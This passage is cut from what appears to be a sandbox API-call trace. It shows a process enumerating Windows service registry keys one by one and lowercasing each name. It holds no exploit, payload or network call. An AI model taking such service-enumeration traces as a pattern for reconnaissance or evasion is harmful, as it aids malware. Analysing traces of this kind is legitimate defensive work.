cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0223.313] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fvevol", cchWideChar=6, lpMultiByteStr=0x21f16e8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fvevol", lpUsedDefaultChar=0x0) returned 6 [0223.313] RegEnumKeyW (in: hKey=0x148, dwIndex=0x77, lpName=0x2152850, cchName=0x104 | out: lpName="gagp30kx") returned 0x0 [0223.313] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gagp30kx", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0223.313] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gagp30kx", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gagp30kx", lpUsedDefaultChar=0x0) returned 8 [0223.314] RegEnumKeyW (in: hKey=0x148, dwIndex=0x78, lpName=0x2152850, cchName=0x104 | out: lpName="gpsvc") returned 0x0 [0223.314] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gpsvc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0223.314] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gpsvc", cchWideChar=5, lpMultiByteStr=0x21f16e8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gpsvc", lpUsedDefaultChar=0x0) returned 5 [0223.314] RegEnumKeyW (in: hKey=0x148, dwIndex=0x79, lpName=0x2152850, cchName=0x104 | out: lpName="gupdate") returned 0x0 [0223.314] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gupdate", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0223.314] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gupdate", cchWideChar=7, lpMultiByteStr=0x21f1a90, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gupdate", lpUsedDefaultChar=0x0) returned 7 [0223.314] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7a, lpName=0x2152850, cchName=0x104 | out: lpName="gupdatem") returned 0x0 [0223.314] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gupdatem", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0223.314] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gupdatem", cchWideChar=8, lpMultiByteStr=0x21f16e8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gupdatem", lpUsedDefaultChar=0x0) returned 8 [0223.314] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7b, lpName=0x2152850, cchName=0x104 | out: lpName="hcw85cir") returned 0x0 [0223.314] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hcw85cir", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0223.314] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hcw85cir", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hcw85cir", lpUsedDefaultChar=0x0) returned 8 [0223.314] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7c, lpName=0x2152850, cchName=0x104 | out: lpName="HdAudAddService") returned 0x0 [0223.314] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hdaudaddservice", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0223.314] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hdaudaddservice", cchWideChar=15, lpMultiByteStr=0x21f16e8, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hdaudaddservice", lpUsedDefaultChar=0x0) returned 15 [0223.314] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7d, lpName=0x2152850, cchName=0x104 | out: lpName="HDAudBus") returned 0x0 [0223.314] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hdaudbus", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0223.315] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hdaudbus", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hdaudbus", lpUsedDefaultChar=0x0) returned 8 [0223.315] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7e, lpName=0x2152850, cchName=0x104 | out: lpName="HidBatt") returned 0x0 [0223.315] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidbatt", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0223.315] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidbatt", cchWideChar=7, lpMultiByteStr=0x21f16e8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hidbatt", lpUsedDefaultChar=0x0) returned 7 [0223.315] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7f, lpName=0x2152850, cchName=0x104 | out: lpName="HidBth") returned 0x0 [0223.315] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidbth", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0223.315] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidbth", cchWideChar=6, lpMultiByteStr=0x21f1a90, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hidbth", lpUsedDefaultChar=0x0) returned 6 [0223.315] RegEnumKeyW (in: hKey=0x148, dwIndex=0x80, lpName=0x2152850, cchName=0x104 | out: lpName="HidIr") returned 0x0 [0223.315] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidir", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0223.315] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidir", cchWideChar=5, lpMultiByteStr=0x21f16e8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hidir", lpUsedDefaultChar=0x0) returned 5 [0223.315] RegEnumKeyW (in: hKey=0x148, dwIndex=0x81, lpName=0x2152850, cchName=0x104 | out: lpName="hidserv") returned 0x0 [0223.315] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidserv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0223.315] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidserv", cchWideChar=7, lpMultiByteStr=0x21f1a90, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hidserv", lpUsedDefaultChar=0x0) returned 7 [0223.315] RegEnumKeyW (in: hKey=0x148, dwIndex=0x82, lpName=0x2152850, cchName=0x104 | out: lpName="HidUsb") returned 0x0 [0223.315] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidusb", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0223.315] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidusb", cchWideChar=6, lpMultiByteStr=0x21f16e8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hidusb", lpUsedDefaultChar=0x0) returned 6 [0223.316] RegEnumKeyW (in: hKey=0x148, dwIndex=0x83, lpName=0x2152850, cchName=0x104 | out: lpName="hkmsvc") returned 0x0 [0223.316] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hkmsvc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0223.316] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hkmsvc", cchWideChar=6, lpMultiByteStr=0x21f1a90, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hkmsvc", lpUsedDefaultChar=0x0) returned 6 [0223.316] RegEnumKeyW (in: hKey=0x148, dwIndex=0x84, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupListener") returned 0x0 [0223.316] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="homegrouplistener", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0223.316] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="homegrouplistener", cchWideChar=17, lpMultiByteStr=0x21f16e8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="homegrouplistener", lpUsedDefaultChar=0x0) returned 17 [0223.316] RegEnumKeyW (in: hKey=0x148, dwIndex=0x85, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupProvider") returned 0x0 [0223.316] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="homegroupprovider", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0223.316] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="homegroupprovider", cchWideChar=17, lpMultiByteStr=0x21f1a90, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="homegroupprovider", lpUsedDefaultChar=0x0) returned 17 [0223.316] RegEnumKeyW (in: hKey=0x148, dwIndex=0x86, lpName=0x2152850, cchName=0x104 | out: lpName="HpSAMD") returned 0x0 [0223.316] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hpsamd", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0223.316] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hpsamd", cchWideChar=6, lpMultiByteStr=0x21f16e8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hpsamd", lpUsedDefaultChar=0x0) returned 6 [0223.316] RegEnumKeyW (in: hKey=0x148, dwIndex=0x87, lpName=0x2152850, cchName=0x104 | out: lpName="HTTP") returned 0x0 [0223.316] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0223.316] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http", cchWideChar=4, lpMultiByteStr=0x21f1a90, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http", lpUsedDefaultChar=0x0) returned 4 [0223.316] RegEnumKeyW (in: hKey=0x148, dwIndex=0x88, lpName=0x2152850, cchName=0x104 | out: lpName="hwpolicy") returned 0x0 [0223.316] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hwpolicy", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0223.317] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hwpolicy", cchWideChar=8, lpMultiByteStr=0x21f16e8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hwpolicy", lpUsedDefaultChar=0x0) returned 8 [0223.317] RegEnumKeyW (in: hKey=0x148, dwIndex=0x89, lpName=0x2152850, cchName=0x104 | out: lpName="i8042prt") returned 0x0 [0223.317] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="i8042prt", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0223.317] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="i8042prt", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="i8042prt", lpUsedDefaultChar=0x0) returned 8 [0223.317] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8a, lpName=0x2152850, cchName=0x104 | out: lpName="iaStorV") returned 0x0 [0223.317] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="iastorv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0223.317] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="iastorv", cchWideChar=7, lpMultiByteStr=0x21f16e8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iastorv", lpUsedDefaultChar=0x0) returned 7 [0223.317] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8b, lpName=0x2152850, cchName=0x104 | out: lpName="idsvc") returned 0x0 [0223.317] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="idsvc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0223.317] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="idsvc", cchWideChar=5, lpMultiByteStr=0x21f1a90, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="idsvc", lpUsedDefaultChar=0x0) returned 5 [0223.317] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8c, lpName=0x2152850, cchName=0x104 | out: lpName="iirsp") returned 0x0 [0223.317] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="iirsp", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0223.317] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="iirsp", cchWideChar=5, lpMultiByteStr=0x21f16e8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iirsp", lpUsedDefaultChar=0x0) returned 5 [0223.317] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8d, lpName=0x2152850, cchName=0x104 | out: lpName="IKEEXT") returned 0x0 [0223.317] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ikeext", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0223.317] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ikeext", cchWideChar=6, lpMultiByteStr=0x21f1a90, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ikeext", lpUsedDefaultChar=0x0) returned 6 [0223.317] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8e, lpName=0x2152850, cchName=0x104 | out: lpName="inetaccs") returned 0x0 [0223.318] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="inetaccs", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0223.318] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="inetaccs", cchWideChar=8, lpMultiByteStr=0x21f16e8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="inetaccs", lpUsedDefaultChar=0x0) returned 8 [0223.318] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8f, lpName=0x2152850, cchName=0x104 | out: lpName="intelide") returned 0x0 [0223.318] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="intelide", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0223.318] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="intelide", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="intelide", lpUsedDefaultChar=0x0) returned 8 [0223.318] RegEnumKeyW (in: hKey=0x148, dwIndex=0x90, lpName=0x2152850, cchName=0x104 | out: lpName="intelppm") returned 0x0 [0223.318] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="intelppm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0223.318] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="intelppm", cchWideChar=8, lpMultiByteStr=0x21f16e8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="intelppm", lpUsedDefaultChar=0x0) returned 8 [0223.318] RegEnumKeyW (in: hKey=0x148, dwIndex=0x91, lpName=0x2152850, cchName=0x104 | out: lpName="IPBusEnum") returned 0x0 [0223.318] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ipbusenum", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0223.318] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ipbusenum", cchWideChar=9, lpMultiByteStr=0x21f1a90, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ipbusenum", lpUsedDefaultChar=0x0) returned 9 [0223.318] RegEnumKeyW (in: hKey=0x148, dwIndex=0x92, lpName=0x2152850, cchName=0x104 | out: lpName="IpFilterDriver") returned 0x0 [0223.318] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ipfilterdriver", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0223.318] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ipfilterdriver", cchWideChar=14, lpMultiByteStr=0x21f16e8, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ipfilterdriver", lpUsedDefaultChar=0x0) returned 14 [0223.318] RegEnumKeyW (in: hKey=0x148, dwIndex=0x93, lpName=0x2152850, cchName=0x104 | out: lpName="iphlpsvc") returned 0x0 [0223.318] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="iphlpsvc", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0223.318] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="iphlpsvc", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iphlpsvc", lpUsedDefaultChar=0x0) returned 8 [0223.318] RegEnumKeyW (in: hKey=0x148, dwIndex=0x94, lpName=0x2152850, cchName=0x104 | out: lpName="IPMIDRV") returned 0x0 [0223.319] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ipmidrv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0223.319] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ipmidrv", cchWideChar=7, lpMultiByteStr=0x21f16e8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ipmidrv", lpUsedDefaultChar=0x0) returned 7 [0223.319] RegEnumKeyW (in: hKey=0x148, dwIndex=0x95, lpName=0x2152850, cchName=0x104 | out: lpName="IPNAT") returned 0x0 [0223.319] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ipnat", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0223.319] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ipnat", cchWideChar=5, lpMultiByteStr=0x21f1a90, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ipnat", lpUsedDefaultChar=0x0) returned 5 [0223.319] RegEnumKeyW (in: hKey=0x148, dwIndex=0x96, lpName=0x2152850, cchName=0x104 | out: lpName="IRENUM") returned 0x0 [0223.319] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="irenum", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0223.319] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="irenum", cchWideChar=6, lpMultiByteStr=0x21f16e8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="irenum", lpUsedDefaultChar=0x0) returned 6 [0223.319] RegEnumKeyW (in: hKey=0x148, dwIndex=0x97, lpName=0x2152850, cchName=0x104 | out: lpName="isapnp") returned 0x0 [0223.319] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="isapnp", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0223.319] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="isapnp", cchWideChar=6, lpMultiByteStr=0x21f1a90, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="isapnp", lpUsedDefaultChar=0x0) returned 6 [0223.319] RegEnumKeyW (in: hKey=0x148, dwIndex=0x98, lpName=0x2152850, cchName=0x104 | out: lpName="iScsiPrt") returned 0x0 [0223.319] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="iscsiprt", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0223.319] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="iscsiprt", cchWideChar=8, lpMultiByteStr=0x21f16e8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iscsiprt", lpUsedDefaultChar=0x0) returned 8 [0223.319] RegEnumKeyW (in: hKey=0x148, dwIndex=0x99, lpName=0x2152850, cchName=0x104 | out: lpName="kbdclass") returned 0x0 [0223.319] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="kbdclass", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0223.319] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="kbdclass", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="kbdclass", lpUsedDefaultChar=0x0) returned 8 [0223.319] RegEnumKeyW (in: hKey=0x148, dwIndex=0x9a, lpName=0x2152850, cchName=0x104 | out: lpName="kbdhid") returned 0x0 [0223.320] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="kbdhid", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0223.320] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="kbdhid", cchWideChar=6, lpMultiByteStr=0x21f16e8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="kbdhid", lpUsedDefaultChar=0x0) returned 6 [0223.320] RegEnumKeyW (in: hKey=0x148, dwIndex=0x9b, lpName=0x2152850, cchName=0x104 | out: lpName="KeyIso") returned 0x0 [0223.320] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="keyiso", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0223.320] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="keyiso", cchWideChar=6, lpMultiByteStr=0x21f1a90, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="keyiso", lpUsedDefaultChar=0x0) returned 6 [0223.320] RegEnumKeyW (in: hKey=0x148, dwIndex=0x9c, lpName=0x2152850, cchName=0x104 | out: lpName="KSecDD") returned 0x0 [0223.320] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ksecdd", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0223.320] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ksecdd", cchWideChar=6, lpMultiByteStr=0x21f16e8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ksecdd", lpUsedDefaultChar=0x0) returned 6 [0223.320] RegEnumKeyW (in: hKey=0x148, dwIndex=0x9d, lpName=0x2152850, 